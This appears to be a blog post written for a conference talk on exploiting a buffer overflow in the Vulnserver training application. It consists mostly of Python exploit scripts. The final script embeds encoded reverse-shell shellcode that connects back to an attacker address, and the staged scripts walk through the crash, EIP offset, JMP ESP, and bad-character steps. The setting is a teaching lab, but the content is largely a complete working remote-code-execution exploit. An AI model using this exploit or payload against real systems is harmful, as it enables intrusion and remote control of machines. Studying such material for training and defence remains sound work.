Exploiting Buffer Overflows

Recently, at the Digital jersey Open Source event, I gave a talk on exploiting a buffer overflow. I used win 7 as a host for the vulnerable Vulnserver application which you can get from the Grey Corner blog here.

The presentation is here, some of the videos are missing. The videos were only a backup if the live demo ran into issues.

         

The final exploit code is shown below, with the steps to achieve it shown afterwards

Final Exploit Code

</pre></pre>
<pre>#!/usr/bin/python
import socket
server = '192.168.43.12'
port = 9999

prefix = 'A' * 2006
eip = '\xAF\x11\x50\x62'
nopsled = '\x90' * 16

#msfpayload windows/shell_reverse_tcp LHOST=192.168.43.213 LPORT=443 EXITFUNC=thread R | msfencode -b '\x00' -e x86/shikata_ga_nai
exploit = (
"\xbb\x7d\x25\x14\xae\xda\xc0\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x52\x31\x5e\x12\x03\x5e\x12\x83\x93\xd9\xf6\x5b\x97" +
"\xca\x75\xa3\x67\x0b\x1a\x2d\x82\x3a\x1a\x49\xc7\x6d\xaa" +
"\x19\x85\x81\x41\x4f\x3d\x11\x27\x58\x32\x92\x82\xbe\x7d" +
"\x23\xbe\x83\x1c\xa7\xbd\xd7\xfe\x96\x0d\x2a\xff\xdf\x70" +
"\xc7\xad\x88\xff\x7a\x41\xbc\x4a\x47\xea\x8e\x5b\xcf\x0f" +
"\x46\x5d\xfe\x9e\xdc\x04\x20\x21\x30\x3d\x69\x39\x55\x78" +
"\x23\xb2\xad\xf6\xb2\x12\xfc\xf7\x19\x5b\x30\x0a\x63\x9c" +
"\xf7\xf5\x16\xd4\x0b\x8b\x20\x23\x71\x57\xa4\xb7\xd1\x1c" +
"\x1e\x13\xe3\xf1\xf9\xd0\xef\xbe\x8e\xbe\xf3\x41\x42\xb5" +
"\x08\xc9\x65\x19\x99\x89\x41\xbd\xc1\x4a\xeb\xe4\xaf\x3d" +
"\x14\xf6\x0f\xe1\xb0\x7d\xbd\xf6\xc8\xdc\xaa\x3b\xe1\xde" +
"\x2a\x54\x72\xad\x18\xfb\x28\x39\x11\x74\xf7\xbe\x56\xaf" +
"\x4f\x50\xa9\x50\xb0\x79\x6e\x04\xe0\x11\x47\x25\x6b\xe1" +
"\x68\xf0\x3c\xb1\xc6\xab\xfc\x61\xa7\x1b\x95\x6b\x28\x43" +
"\x85\x94\xe2\xec\x2c\x6f\x65\xd3\x19\x44\xa0\xbb\x5b\x9a" +
"\x4b\x87\xd5\x7c\x21\xe7\xb3\xd7\xde\x9e\x99\xa3\x7f\x5e" +
"\x34\xce\x40\xd4\xbb\x2f\x0e\x1d\xb1\x23\xe7\xed\x8c\x19" +
"\xae\xf2\x3a\x35\x2c\x60\xa1\xc5\x3b\x99\x7e\x92\x6c\x6f" +
"\x77\x76\x81\xd6\x21\x64\x58\x8e\x0a\x2c\x87\x73\x94\xad" +
"\x4a\xcf\xb2\xbd\x92\xd0\xfe\xe9\x4a\x87\xa8\x47\x2d\x71" +
"\x1b\x31\xe7\x2e\xf5\xd5\x7e\x1d\xc6\xa3\x7e\x48\xb0\x4b" +
"\xce\x25\x85\x74\xff\xa1\x01\x0d\x1d\x52\xed\xc4\xa5\x72" +
"\x0c\xcc\xd3\x1a\x89\x85\x59\x47\x2a\x70\x9d\x7e\xa9\x70" +
"\x5e\x85\xb1\xf1\x5b\xc1\x75\xea\x11\x5a\x10\x0c\x85\x5b" +
"\x31"
)
brk = '\xcc'
padding = 'F' * (3000 - 2006 - 4 - 16 - 1)
attack = prefix + eip + nopsled + exploit + brk + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, port))
print s.recv(1024)
print "Sending Evil Buffer to TRUN "
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
<pre>

 

The stages of code used to achieve remote code execution are shown below.

Code 1 – Initial Crash

</pre>
#!/usr/bin/python
import socket
server = '192.168.43.12'
port = 9999

length = int(raw_input('Length of attack: '))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, port))
print s.recv(1024)
print "Sending attack length ", length, ' to TRUN .'
attack = 'A' * length
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
<pre>

Code 2 – Cyclic Pattern to locate EIP

</pre>
#!/usr/bin/python
import socket
server = '192.168.43.12'
port = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, port))
print s.recv(1024)

print "Sending Evil Buffer to TRUN ."
attack = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
<pre>

Code 3 – Convert.sh used to convert Hex to ASCII

</pre>
TESTDATA=$(echo '0x38.0x43.0x6F.0x39' | tr '.' ' ')
for c in $TESTDATA; do
    echo $c | xxd -r
done
echo ""</pre>
<pre><pre>
Code 4 - Confirm EIP location in Buffer
</pre>
#!/usr/bin/python
import socket
server = '192.168.43.12'
sport = 9999

prefix = 'A' * 2006
eip = 'BBBB'
padding = 'F' * (3000 - 2006 - 4)
attack = prefix + eip + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending Buffer to TRUN  "
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

</pre>
<pre><pre>
Code 5 - Confirming JMP ESP
</pre></pre>
<pre>#!/usr/bin/python
import socket
server = '192.168.43.12'
port = 9999

prefix = 'A' * 2006
eip = '\xAF\x11\x50\x62'
nopsled = '\x90' * 16
brk = '\xcc'
padding = 'F' * (3000 - 2006 - 4 - 16 - 1)
attack = prefix + eip + nopsled + brk + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, port))
print s.recv(1024)
print "Sending Evil Buffer to TRUN "
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

</pre>
<pre><pre>
Code 6 - Bad Characters
</pre></pre>
<pre>#!/usr/bin/python
import socket
server = '192.168.43.12'
port = 9999
prefix = 'A' * 2006
eip = '\x42\x42\x42\x42'
nopsled = '\x90' * 16
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
brk = '\xcc'
padding = 'F' * (3000 - 2006 - 4 - 16 - 1)
attack = prefix + eip + nopsled + badchars + brk + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, port))
print s.recv(1024)
print "Sending Evil Buffer to TRUN "
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

</pre>
<pre><pre>

That’s All Folks….!

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